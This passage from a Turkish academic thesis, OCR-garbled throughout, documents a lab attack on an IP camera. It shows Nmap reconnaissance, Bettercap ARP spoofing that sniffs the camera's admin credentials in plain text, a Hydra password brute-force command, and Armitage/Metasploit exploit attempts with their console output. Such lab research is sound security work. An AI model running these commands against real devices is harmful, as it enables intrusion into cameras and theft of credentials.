Completed Service scan at 15:18, 38.64s elapsed (4 services on 1 host)
Initiating 05 detection (try #1) against 192.168.0.22

NSE: Script scanning 192.168.0.22.

Initiating NSE at 15:18

Stats: 0:00:48 elapsed; @ hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 4 (3 waiting)

NSE Timing: About 99.26% done; ETC: 15:18 (0:00:00 remaining)

Resim 3.14. Model, isletim sistemi ve cihazdaki servislere ilisgkin Nmap taramasi sonucu
ekran ¢iktisi
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NSE: Active NSE Script Threads: 4 (3 waiting)

NSE Timing: About 99.26% done; ETC: 15:18 (0:00:00 remaining)

Stats: ©:00:48 elapsed; @ hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 4 (4 waiting)

NSE Timing: About 99.26% done; ETC: 15:18 (0:00:00 remaining)

Stats: ©:00:50 elapsed; @ hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 3 (3 waiting)

NSE Timing: About 99.44% done; ETC: 15:18 (0:00:80 remaining)

Stats: 0:00:50 elapsed; @ hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 3 (3 waiting)

NSE Timing: About 99.44% done; ETC: 15:18 (@:00:00 remaining)

Completed NSE at 15:18, 9.4@s elapsed

Initiating NSE at 15:18

Completed NSE at 15:18, @.06s5 elapsed

Initiating NSE at 15:18

Completed NSE at 15:18, 8.08s elapsed

Nmap scan report for 192.168.0.22

Host is up (©.0071s latency).

Not shown: 996 closed ports

PORT STATE SERVICE VERSION
80/tcp open http Mongoose httpd
http-auth:

HTTP/1.1 401 Unauthorized\xeD
Basic realm=index.html
http-methods:
_  Supported Methods: GET HEAD
_http-title: Login
554/tcp open rtsp
fingerprint-strings:
FourOhFourRequest, Genericlines, GetReguest:
RTSP/1.@ 400 Bad Reguest
CSeq: @
Server: Hipcam RealServer/V1.®
RTSP/1.0 400 Bad Reguest
CSeqg: 0
Server: Hipcam RealServer/v1.0
HTTPOptions, RTSPReguest:
RTSP/1.0 400 Bad Reguest

CSeq: @

Server: Hipcam RealServer/V1.®
SIPOptions:

RTSP/1.@ 208 OK

CSeqg: 42

Server: Hipcam RealServer/v1.0
~ Public: OPTIONS,DESCRIBE,SETUP,TEARDOWN,PLAY,SET PARAMETER,GET PARAMETER
_rtsp-methods: ERROR: Script execution failed (use -d to debug)
1935/tcp open tcpwrapped
8080/tcp open soap gSOAP 2.8
_http-server-header: gSO0AP/2.8
_http-title: Site doesn't have a title (text/xml; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit tl
SF-Port554-TCP:V=7.80%1=7%D=5/30%T ime=5ED2B167%P=x86_64-pc-linux-gnu%r(Get
SF:Request,8A, "RTSP/1\.0\x20400%x20Bad\x20Request\r\nCSeq: \x200\r\nServer:
SF:\x2@Hipcam\x2@RealServer/V1\.8\r\n\r\nRTSP/1\.0%\x20400\x20Bad\x20Reques
SF:th\r\nCSeq:\x200\r\nServer:\x20Hipcam\x2@RealServer/V1i\.e\r\n\r\n" )%r(RT
SF:SPReguest, 45, "RTSP/1\.0%\x20400\x20Bad\x20Request\rinCSeq: \x200\r\nServe
SF:r:\x2@Hipcam\x20@RealServer/V1\.0\r\n\r\n" )%¥r(GenericLines,8A, "RTSP/1\.0
SF:\x20400%x20Bad\x2@Request\r\nCSeq: \x2080\r\nServer:\x20Hipcam\x20RealSer
SF:ver/V1\.@\r\n\r\nRTSP/1\.0\x20400\x20Bad\x20Request\r\nCSeq: \x200\r\nSe
SF:rver:\x2@0Hipcam\x2@RealServer/V1\.@\r\n\r\n" )%¥r(HTTPOptions, 45, "RTSP/1%\
SF:.0\x20400\x20Bad\x20Request\r\nCSeq: \x200\r\nServer: \x20Hipcam\x20Reals
SF:erver/V1i\.@\r\n\r\n" )%r( FourOhFourReguest, 8A, "RTSP/1\.0\x20400\x20Bad\x
SF:20Requesti\r\nCSeq:\x200\r\nServer:\x2@Hipcam\x2@RealServer/V1\.o\r\n\r\
SF:nRTSP/1%\.0\x20400%\x20Bad\x2@Request\r\nCSeq: \x2@00\r\nServer:\x20Hipcam\
SF:x20RealServer/Vi\.0\r\n\r\n" )%r(SIPOptions,87, "RTSP/1\.0\x20200\x200K\T
SF:\nCSeq:%\x2042\r\nServer:\x2@Hipcam\x2@RealServer/V1\.0\r\nPublic:\x200P
SF:TIONS,DESCRIBE,SETUP, TEARDOWN, PLAY ,SET_PARAMETER,GET_PARAMETER\r\ni\r\n"

Resim 3.14. (devam) Model, isletim sistemi ve cihazdaki servislere iliskin Nmap taramasi
sonucu ekran ¢iktisi
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—
SF2);

MAC Address: 00:@E:00:02:64&:EC (Atrie)

Device type: general purpose

Running: Linux 2.6.X|3.X

0S CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
0S details: Linux 2.6.32 -~ 3.5

Uptime guess: 0.106 days (since Sat May 30 12:45:35 2020)

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=258 (Good luck!)

IP ID Sequence Generation: ALl zeros

TRACEROUTE
HOP RTT ADDRESS
1 7.06 ms 192.168.0.22

NSE: Script Post-scanning.
Initiating NSE at 15:1B
Completed NSE at 15:18, 0.00s elapsed
Initiating NSE at 15:18
Completed NSE at 15:18, 0.00s elapsed
Initiating NSE at 15:18
Completed NSE at 15:18, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.76 seconds
Raw packets sent: 1025 (45.846KB) | Rcvd: 1017 (41.406KB)

Resim 3.14. (devam) Model, isletim sistemi ve cihazdaki servislere iliskin Nmap taramasi
sonucu ekran ¢iktisi

Tarama sonuglar1 agik portlari belirtmektedir. 80 numarali port, sifre korumali IP tabanli
kamera web portalidir. 554 numarali port Gergek Zamanli Akis Protokolii (RTSP) i¢in agik
bir porttur ve lizerinde Hipcam RealServer v1.0 servisi ¢alismaktadir. Bu servis video akisini
ag tzerinden iletmektedir. 1935 numarali port iizerinde ise video akisini flash tiiriinde
goriintiilemek i¢in kullanan web portali bulunmaktadir. 8080 numarali port ise kameraya ait
verileri ag lizerinden iletmek amaciyla kullanilan GSoap 2.8. Genel XML veri baglantilarini

barindiran bir web sunucusudur.
3.1.2. MITM saldiris1
Icinde bulundugumuz ara yiizde Bettercap uygulamasmi calistirip help komutuyla,

bettercap iginde ¢alisgan modiiller goriintiilendiginde sadece arka planda olan olaylari takip

edecek modiiliin galistigi Resim 3.15.’te goriilmektedir.
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rootigkali:~# bettercap -iface eth®@
bettercap v2.27.1 (built for linux amdé4 with gol.14.1) [type 'help' for a list of commands]

192.168.0.0/24 > 192.168.0.29 » help

Modules

not
not
not
not
not
not
not

not
not
not
not
not
not
not
not
not
not
not
not
not
not
not
not
not
not
not
not

MWWV WV WV W W W WV VW VWYV VYWY W WY WV VY WY YWY

: List available commands or show module specific help if no module name 1is provided.
: Show information about active modules.

: Close the session and exit.

: Sleep for the given amount of seconds.

: Get the value of variable NAME, use * alone for all, or NAME* as a wildcard.
: Set the VALUE of variable NAME.

: Show a PROMPT to ask the user for input that will be saved inside VARIABLE.
: Clear the screen.

: Load and run this caplet in the current session.

: Execute a shell command and print its output.

: Assign an alias to a given endpoint given its MAC address.

running
running
running
running
running
running
running

running
running
running
running
running
running
running
running
running
running
running
running
running
running
running
running
running
running
running
running

Resim 3.15. Bettercap i¢inde ¢alisan modiillere iligskin ekran ¢iktist

“net.probe” modiilii etkinlestirildiginde, bu modiil agdaki yeni ana bilgisayarlar1 algilamak

icin sistem ARP tablosunu periyodik olarak okumaktan sorumlu olan net.recon modiiliiniin

bunlart algilamasi i¢in gegerli alt agdaki her IP'ye farkli tiirde prob paketleri gonderir.

“net.probe” modiilii etkinlestirildiginde, “net.recon” modiilii de etkinlestirilmis, prob edilen

adresler listelenmis ve agdaki cihazlar ile MAC adresleri goriintiilenmistir. Ardindan tekrar

help komutu calistirildiginda “net.probe” ile birlikte “net.recon” modiiliiniin de etkin oldugu

goriilebilmekte ve “net.show” komutuyla bu liste tablo halinde diizgiin bir sekilde

almabilmektedir (Resim 3.16.).
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[13:50:44] [sys.log] [@Af] FESEMPEEEE starting net.recon as a requirement for net.probe
A83.168.0.0/26 5 192.168.0.29 » [13:50:44] [endpoint.new] endpoint 192.168.0.18 detected as eb 5
192.168.0.0/26 > 192.168.0.29 » [13:50:44] [ w] endpoint 192.168.0.22 detected as 0f 2:64:ec (Atrie)
192.168.0.0/24 > 192.168.0.29 » [13:50:44] [= =w] endpoint 192.168.0.3@ detected as 08:00:2 2 c3 (PCS Co
192.168.0.0/24 > 192.168.0.29 » [13:50:44] [= i =w] endpoint 192.168.0.13 detected as (Ai
192.168.0.0/24 > 192.168.0.29 » [13:50:44] [= i -w] endpoint 192.168.0.16 detected as (Ir L
192.168.0.0/24 > 192.168.0.29 » [13:50:44] [= =w] endpoint 192.168.0.14 detected as (Mc  ro
192.168.0.0/24 > 192.168.0.29 » [13:50:45] [e cw] endpoint 192.168.0.11 detected as (Nt
192.168.0.0/24 > 192.168.0.29 » [13:51:00] [= =w] endpoint 192.168.0.15 detected as (Mc -0
192.168.0.0/26 > 192.168.0.29 » [13:51:08] [ w] endpoint 192.168.0.12 detected as (zt o
192.168.0.0/24 > 192.168.0.29 » help
: List available commands or show module specific help if no module name is provided.
: Show information about active modules.
: Close the session and exit.
: Sleep for the given amount of seconds.
: Get the value of variable NAME, use * alone for all, or NAME#* as a wildcard.
: Set the VALUE of variable NAME.
: Show a PROMPT to ask the user for input that will be saved inside VARIABLE.
: Clear the screen.
: Load and run this caplet in the current session.
: Execute a shell command and print its output.
: Assign an alias to a given endpoint given its MAC address.
Modules
> not running
> not running
> not running
> not running
> not running
> not running
> not running
> runni
> not running
> not running
> not running
> not running
> not running
> not running
> not running
> not running
> not running
> runni
> runni
> not running
> not running
> not running
> not running
> not running
192.168.0.0/24 > 192.168.08.29 » net.show
IP a MAC Name Vendor Sent Recvd Seen
192.168.0.29 08:00:27:36:42:92 etho PCS Computer Systems GmbH 0B BB 13:45:32
192.168.0.1 fc:4a:e9:73:2a:c9 gateway Castlenet Technology Inc. 23 kB 14 kB 13:45:33
192.168.0.11 d 2 Nu 840 B o44 B 13:51:32
192.168.8.12 7 d zt 0B 6B B 13:51:088
192.168.0.13 4] Ic Al 0B bh4b4 B 13:50:44
192 .168.0.14 f 12 Mo Company 8B40 B 644 B 13:51:31
192.168.0.15 2 b Mo Company 0B 460 B 13:51:00
192.168.0.16 f 1 INcee cvipuaumen 984 kB 17 ME 13:51:33
192.168.0.18 e __ _____.f 0B 644 B 13:50: 44
192.168.0.22 00:0e:00:02:64:ecC Atrie 8.0 kB 4.8 kB 13:51:31
192 .168.0.28 Tc b Go 240 B 276 B 13:51:24
192.168.0.30 08 __ _. ._ _. .c3 PCS Computer Systems GmbH 13 kB 20 kB 13:51:32

Resim 3.16. Agdaki cihazlar ve MAC adreslerine iligkin ekran ¢iktis

Burada kali makinesinin IP adresi 192.168.0.29, yonlendiricinin IP adresi 192.168.0.1,
kameranin IP adresi 192.168.0.22 ve Windows sanal makinesinin IP adresi de 192.168.0.30

olarak goriilebilmektedir.

MITM saldiris1  gergeklestirmek igin hazirlanmig ARP paketleri ile agdaki segili

bilgisayarlar1 aldatmak amaciyla “arp.spoof” modiilii kullanilmaktadir. Bu modiiliin
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parametrelerinden olan “arp.spoof.fullduplex” parametresi “true” ise, hem hedeflere hem de
ag gecidine saldirilabilmekte, aksi takdirde yalnizca hedefe saldirilabilmekte ve
yonlendiricide ARP kimlik sahtekarligi korumalari varsa, bu saldir1 basarisiz olabilmektedir.
Bu nedenle “arp.spoof.fullduplex” parametresi “true” olarak ayarlanip, saldirilacak hedefler
de “arp.spoof.targets” parametresi ile belirlendikten sonra saldir1 i¢in “arp.spoof.on”
komutuyla saldir1 baglatilmakta ve help komutuyla da “arp.spoof” modiiliiniin ¢alistig1

goriilebilmektedir (Resim 3.17.).

1920168.010/26°5 192016810029 » set arp.spoof.fullduplex true

192.168.0.0/24 > 192.168.0.29 » set arp.spoof.targets 192.168.0.30

192.168.0.0/24 > 192.168.0.29 » arp.spoof on

192.168.0.0/24 > 192.168.8.29 » [14:01:44] [ 1 [W&%] full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.
192.168.0.0/24 > 192.168.0.29 » [14:01:44] [ 1 [End] arp spoofer started, probing 1 targets.

192.168.0.0/24 > 192.168.0.29 » help

: List available commands or show module specific help if no module name is provided.
: Show information about active modules

: Close the session and exit.

: Sleep for the given amount of seconds

: Get the value of variable NAME, use * alone for all, or NAMEx as a wildcard.
: Set the VALUE of variable NAME.

: Show a PROMPT to ask the user for input that will be saved inside VARIABLE.
: Clear the screen.

: Load and run this caplet in the current session

: Execute a shell command and print its output.

: Assign an alias to a given endpoint given its MAC address

Modules

Resim 3.17. Arp.spoof modiiliiniin ¢alistigina iliskin ekran ¢iktisi

Burada edinilen bilgilerin okunabilmesi i¢in ag paket dinleyicisi olan “net.sniff” modiilii
etkinlestirilip, sonrasinda diger makinede kameranin IP adresi {izerinden web servisine

kullanici ad1 ve parolasi admin - admin olarak baglanti saglanmaktadir (Resim 3.18.).
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Resim 3.18. Web servisine baglantiya iligkin ekran ¢iktisi

“net.sniff” modiilii etkinlestirildikten sonra gelen sonuglar incelendiginde ise Resim
3.19.’dan da goriilebilecegi gibi, IP tabanli kameranin kullanici ad1 ve parolast diiz metin

halinde elde edilmistir.

I E OIS SNTEEINael » [14:31:43] [ ] I 102.168.0.31 EEN fweb/index.html - USER admin, PASS admin

Resim 3.19. Kullanic1 ad1 ve parolanin diiz metin olarak goriintiilenmesine iligkin ekran
ciktisi

Bu bilgiler kullanilarak kali makinesinden yapilan giriste ilgili sayfaya girilebildigi

goriilmiis ve Resim 3.20.’den de goriilecegi lizere kamera goriintiisii alinmugtir.

il kali 17 [Cahigiyor] - Oracle a X
Dosya Makine GoranGm
Video Mobile - Mozilla Firefox
Video Mobile: x|+

€ OF 192168022

51 Most Vistted JiOffensive Securtty "\ Kall Linux %, Kall Docs %, Kall Tools & Explolt-DB WAlrcrack-ng fUiKall Forums \ NetHunter @ Getting Started

(& Firefox automatically sends some data to Mozila 5o that we can Improve your experience. Choose What | Share | %

G @ 5 2 E B0 @ Elron cortro

Resim 3.20. Edinilen bilgiler kullanilarak kali sanal makinesinden alinan ekran ¢iktisi
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3.1.3. Parola Saldiris1

Parola giivenligi calismalarinin gésterdigi en biiyilik giivenlik agiklarindan biri paroladir
[92]. Web arayiiziinden kameranin baglantisin1 agmak i¢in kullanilan parola (varsayilan
olarak admin kullanilmaktaydi) degistirilerek farkli bir parolanin kullanilmasi saglanmustir.
Ancak parolanin degistirilmesi tahmin edilmesini zorlastirmasina karsin uzak bir sistemden
yetkisiz erisim saglamaya her zaman engel olamamaktadir. Hydra, bir parola saldirisini
otomatiklestiren ve ¢evrimigi parola saldiris1 yapabilen bir¢ok aragtan biridir. Bu arag ile
kullanilmak tizere; internet tizerinden rahatlikla elde edilebilen, ¢ok kullanilan parolalara
iliskin tablolarin birlestirilmesi ve {izerine tarafimizca eklenilen parola Ornekleriyle
olusturulan bir .txt belgesi diizenlenmistir. Olusturulan bu parolalarin kali makinesinde
kullanilmasi suretiyle gerceklestirilen parola saldiris1 sonrasinda, IP tabanli kameranin yeni
ve degistirilmis olan parolasi da elde edilebilmistir. Uygulama ile ilgili ekran goriintiisii

asagida gosterilmistir (Resim 3.21.).

root@kali: ~/Desktop

ons Edit View Help

root@kali: ~/Desktop x

rootakali:~/Desktop? hydra -1 admin -P password.txt http-get://192.168.0.25
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for ille
gal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-26 16:49:53
[WARNING] You upply the web page as an additional option or via -m, default path set to /
[DATA] max 16 ta rver, overall 16 tasks, 500 login tries (1:1/p:508), ~32 tries per task
//192.168.0.25:80/

LO!

ly completed, 1

password:
I 1 valid password found
Hydra (htt m/vanhauser-thc/thc-hydra) finished at 2020-08-26 16:49:59

rootakali:~/

Resim 3.21. Hydra komutu ile gergeklestirilen saldirtya iliskin ekran ¢iktisi

Tespit edilen parola kullanilarak web sayfasindan goriintii alinabilmigtir (Resim 3.22.).

Applications v Places v © Firefox ESR ~ Thu 16:16 e S0 B~
Video Mobile - Mozilla Firefox e o0

Video Mobile x \+

€ ) ® £ | 192.168.0.25/web/mobile.htm e |[Q search *E A =

[ Most Visitedv  JflOffensive Security " Kali Linux % Kali Docs s Kali Tools # Exploit-DB Wy Aircrack-ng gKali Forums "\ NetHunter @ Getting Started

IP Camera / 020-08-28 04:16:04
7

Resim 3.22. Web sayfasindan erisime iligkin ekran ¢iktisi
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3.1.4. Armitage kullamimu ile gerg¢eklestirilen saldirilar

Arka planda metasploit framework ve Nmap araglarini kullanan, metasploitin arayiizii
diyebilecegimiz bir ara¢ olan armitage calistirilmistir. Hedef olarak IP tabanli kameranin
daha onceden tespit edilen IP adresi girilerek Nmap komutuyla tarandiktan sonra, cihaza
yonelik gergeklestirilebilecek saldirilarin tespiti i¢in “find attack” komutu kullanilmistir.
Saldir1 analizi tamamlandiginda, Resim 3.24.’teki ekran goriintiisii ile “Attack” meniisii

altindaki saldirilarin denenebilecegi mesaj1 goriilmektedir.

+| Label Decription P

Resim 3.23. Armitage ile “find attack” komutu sonrasi ekran ¢iktisi

Armitage Miew Hosts Attacks Workspaces Help

> [E5 auxiliary Address 4/ Label Description Pivot
> (3 exploit Bl 102.168.0.25
> (3 payload K
> (B8 post
Message (-]

@ Attack Analysis Complete...
You will now see an 'Attack’ menu attached
to each host in the Targets window.

Happy hunting!

3

e:/ ss 50 e rks:baystack_450
QEMU use ga sco €SS 11501 switch (86%), Bay Networks BayStack 450 switch (software version
5 Bay Networks BayStack 450 switch (software version 4.2.0.16) (85%)
No exact 0S matches for host (test conditions non-ideal)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=25 (Good luck!)
IP ID Sequence Generation: Randomized
Service Info: Di bcam
TRACEROUTE (using port 6/tcp)
HOP RTT ADDRES
1 0.27 ms 10.9.2.2
2 0.06 ms 192.168.0.25
NSE: Script Post-scanning
Initiating NSE at 15:00
Completed NSE at 1 elapsed
Initiating NSE at
Completed NSE at 15:00, elapsed
Read data files from: /usr/bin/../share/nmap

T
*]
*]
*]
*]
1.9
*]
*]
*]
*]
*]
*]
*]
*]
*]
*]
*]
*]
*]
*]
*]
f >

@

Resim 3.24. Armitage ile saldir1 analizinin tamamlanmasina iliskin ekran ¢iktisi
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Kurulu bulunan Azemax IP610 model IP kameraya yonelik saldirilara bakildiginda ise,
asagidaki ekran goriintiisiinde bir kismi goriilen, onerilen saldirilarin tamami denenerek

konsol ¢iktilar1 Cizelge 3.1’°de paylagilmistir.

Armitage [- O -]
Armitage View Hosts Attacks Workspaces Help
+ (& auxiliary | Address. 4| Label | Description | Pivot |
> (&5 exploit 192.168.0. 2 e—
B o Misck >
payloa oA > M proftpd_modeopy_exec
> (@ post S http

Seryices check exploits...
sgan

Host

realserver
webapp
wyse

vvvvil

Resim 3.25. Armitage ile Onerilen saldirilara iliskin ekran ¢iktisi

Cizelge 3.1. Armitage ile Azemax IP610 model IP tabanli kameraya yonelik yapilan
saldirilar ile sonuglari

Saldir

Tiirii Calistirilan Saldirt Modiili Saldir1 sonucu ekran giktisi

[-] 192.168.0.25:80 - Exploit failed [unreachable]: Rex::ConnectionRefused The
connection was refused by the remote host (192.168.0.25:21).

FTP proftpd_modcopy_exec

HTTP | activecollab_chat [*]1 Exploit completed, but no session was created.

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by

HTTP | ajaxplorer_checkinstall_exec
peer.

HTTP | apache_mod_cgi_bash_env_exec [*] Exploit completed, but no session was created.

[!]Target not found as vulnerable, trying anyway...

HTTP | apache_roller_ognl_injection ['] This exploit may require manual cleanup of "XuTAu.jarnull' on the target

HTTP | apprain_upload_exec [-] File wasn't uploaded, aborting!

HTTP | atutor sqli [-] _192.168.0.25:80 - Exploit failed: TypeError no implicit conversion of nil into
String

HTTP | auxilium_upload_exec [-]Upload unsuccessful: 404

[-] Exploit aborted due to failure: not-found: The target server fingerprint

HTTP | axis2_deployer "gSOAP/2.8" does not match "(?-mix:Apache.*(Coyote| Tomcat)|Jetty.*)", use
‘set FingerprintCheck false' to disable this check.

[1] This exploit may require manual cleanup of ‘/tmp/vHmMwszTNEBNX' on the
target

HTTP | bassmaster_js_injection

HTTP | bolt_file_upload [*]1 Exploit completed, but no session was created.

[-] Exploit aborted due to failure: unexpected-reply: 192.168.0.25:80 - Unable to

HTTP | builderengine_upload_exec deploy payload, server returned 404

HTTP | caidao_php_backdoor_exec [*] Sending exploit...

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
peer

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
HTTP | coldfusion_rds peer

[*] Server stopped.

[*]1192.168.0.25:80 - Uploading payload to target...

[*] 192.168.0.25:80 - Calling payload...

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
peer

HTTP | cisco_dcnm_upload

HTTP | contentkeeperweb_mimencode

HTTP | cuteflow_upload_exec
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Cizelge 3.1. (devam) Armitage ile Azemax IP610 model IP tabanli kameraya yonelik yapilan

saldirilar ile sonuglar

?&?&rl Calistirilan Saldirt Modiili Saldir1 sonucu ekran ¢iktist
HTTP | dell_kace k1000 _upload [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- = - peer
HTTP | dexter_casinoloader_exec [-] Failed to acquire administrator username
HTTP | drupal_drupageddon [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- peer
[-] Exploit aborted due to failure: no-access: 192.168.0.25:80 - Authentication
HTTP | extplorer_upload_exec failed
HTTP | familycms_less_exec [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- = peer
HTTP | feenas_exec_raw [-] Exploit failed
HTTP estioin exec [-] Exploit aborted due to failure: no-access: 192.168.0.25:80 - Please provide
gestiotp_ USERNAME and PASSOWRD
HTTP | gitlab_shell_exec [-] Exploit aborted due to failure: no-access: 192.168.0.25:80 - Login failed
HTTP | gitorious_graph [*] The server returned: 404 Not Found
[-] Exploit aborted due to failure: no-access: 192.168.0.25:80 - Authentication
HTTP | glossword_upload_exec failed
[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
HTTP | horde_href_backdoor peer
[-] Exploit aborted due to failure: not-found: The target server fingerprint
HTTP | hp_sitescope_issuesiebelcmd "gSOAP/2.8" does not match "(?-mix:Apache-Coyote)", use 'set
FingerprintCheck false' to disable this check.
HTTP ibm_openadmin_tool_soap_welcom | [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
eserver_exec peer
HTTP | ispconfig_php_exec [-] Exploit aborted due to failure: unexpected-reply: Error getting initial page.
[-] Exploit aborted due to failure: not-found: The target server fingerprint
HTTP | jboss_bshdeployer "gSOAP/2.8" does not match "(?-mix:(Jetty|JBoss))", use 'set FingerprintCheck
false' to disable this check.
[-] Exploit aborted due to failure: not-found: The target server fingerprint
HTTP | jboss_deploymentfilerepository "gSOAP/2.8" does not match "(?-mix:(Jetty|JBoss))", use 'set FingerprintCheck
false' to disable this check.
HTTP | iboss maindenlover [-] Exploit failed: The following options failed to validate: SRVHOST.
JDoss | ploy [*] Exploit completed, but no session was created.
HTTP |iira hipchat template [-] 192.168.0.25:80 - Exploit aborted due to failure: bad-config: Jira username
Jira_hipehat_temp and password are required.
- [-] 192.168.0.25:80 - Exploit failed [unreachable]: Rex::ConnectionTimeout The
HTTP | joomla_http_header_rce connection timed out (192.168.0.25:80).
. [-] Exploit aborted due to failure: unreachable: 192.168.0.25:80 - Connection
HTTP | kordil_edms_upload_exec failed
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | lcms_php_exec out (192.168.0.25:80).
HTTP | lifesize room [-] Exploit failed: A payload has not been selected.
- [*]1 Exploit completed, but no session was created.
. [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | loglcms_ajax_create_folder out (192.168.0.25:80).
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
- out (192.168.0.25:80).
HTTP | magento_unserialize ; - .
[] This exploit may require manual cleanup of
'C5eSf61wSfplL7xEtoLEIWGRO2.php' on the target
HTTP | manageenaine auth upload [-] Exploit aborted due to failure: unknown: 192.168.0.25:8080 - Failed to
geengine_auth_up authenticate
HTTP | manageengine_sd_uploader [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
= peer
. [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | mantisbt_php_exec out (192.168.0.25:80).
L [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | mediawiki_thumb out (192.168.0.25:80).
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | mma_backdoor_upload out (192.168.0.25:80).
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Cizelge 3.1. (devam) Armitage ile Azemax IP610 model IP tabanli kameraya yonelik yapilan
saldirilar ile sonuglar

S;%i(ilﬁrl Calistirilan Saldirt Modiili Saldir1 sonucu ekran ¢iktist
. [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | mobilecartly_upload_exec out (192.168.0.25:80).
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | movabletype_upgrade_exec out (192.168.0.25:80).
. [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | mutiny_subnetmask_exec out (192.168.0.25:80).
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | nas4free_php_exec out (192.168.0.25:80).
[-] Exploit failed: The following options failed to validate: USERNAME,
HTTP | nibbleblog_file_upload PASSWORD.
[*] Exploit completed, but no session was created.
- [-] Exploit aborted due to failure: no-access: 192.168.0.25:80 - Failed to get the
HTTP | novell_servicedesk_rce login URL.
. [-] Exploit failed [unreachable]: Rex::ConnectionRefused The connection was
HTTP | op5_license refused by the remote host (192.168.0.25:443).
HTTP | 005 welcome [-] Exploit failed [unreachable]: Rex::ConnectionRefused The connection was
P refused by the remote host (192.168.0.25:443).
HTTP | openmediavault_cmd_exec [-] 192.168.0.25:80 - Exploit aborted due to failure: no-access: Login failed
HTTP | openx_backdoor_php [*] Started reverse TCP handler on 10.0.2.15:30430
[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
I peer
HTTP | opmanager_socialit_file_upload ['] This exploit may require manual cleanup of 'state/archivedata/zip/z5iJ' on the
target
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | oracle_reports_rce out (192.168.0.25:80).
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | pandora_upload_exec out (192.168.0.25:80).
. [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | phoenix_exec out (192.168.0.25:80).
HTTP | php_cgi_arg_injection [*] Started reverse TCP handler on 10.0.2.15:8271
- [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | php_utility_belt_rce out (192.168.0.25:80).
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
HTTP | php_volunteer_upload_exec out (192.168.0.25:80).
" [-] Exploit aborted due to failure: unknown: 192.168.0.25:80 - Error entering the
HTTP | phpfilemanager_rce file manager
[-] Could not generate a valid session
HTTP | phpldapadmin_query_engine [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
peer
HTTP | phpmoadmin_exec [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- peer
HTTP homvadmin orea replace [-] Exploit aborted due to failure: not-found: Couldn't find token. Is URI set
Phpmy; _Preg_rep correctly?
HTTP | phpscheduleit_start_date [-] Server returned a non-200 status code: (404)
HTTP | phptax_exec [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- peer
HTTP | phowiki_ploticus_exec [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- - peer
HTTP | plone_popen2 [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- peer
HTTP | pmwiki_pagelist [*] Started reverse TCP handler on 10.0.2.15:31156
HTTP | polarcms_upload_exec ¥_1|Eé(p|0it aborted due to failure: unexpected-reply: 192.168.0.25:80 - Upload
- - aile
[-] Authenticating as user 'admin’ failed
HTTP | processmaker_exec [-] Exploit aborted due to failure: no-access: 192.168.0.25:80 - Authentication
failed
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Cizelge 3.1. (devam) Armitage ile Azemax IP610 model IP tabanli kameraya yonelik yapilan

saldirilar ile sonuglar

S_?ilﬁlurl Calistirilan Saldirt Modiilii Saldir1 sonucu ekran ¢iktist
[-] Exploit failed: The following options failed to validate: USERNAME,
HTTP | qdpm_upload_exec PASSWORD.
[*] Exploit completed, but no session was created.
HTTP | rails_actionpack_inline_exec [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- - - peer
- [*] Sending Railsv2 request to 192.168.0.25:80...
HTTP | rails_json_yaml_code_exec [*] Sending Railsv3 request to 192.168.0.25:80. .
HTTP | rails secret deserialization [-] Exploit failed: The following options failed to validate: SECRET.
- = [*] Exploit completed, but no session was created.
. [*] Sending Railsv2 request to 192.168.0.25:80...
HTTP | rails_xml_yaml_code_exec [*] Sending Railsv3 request to 192.168.0.25:80...
HTTP | sflog_upload_exec [-] Unable to login
HTTP | simple_backdoors_exec [-] Exploit aborted due to failure: unknown: Failed to execute the command.
-] Exploit failed: The following options failed to validate: ,
Exploit failed: The followi ions failed lidate: USERNAME
HTTP | sit_file_upload PASSWORD.
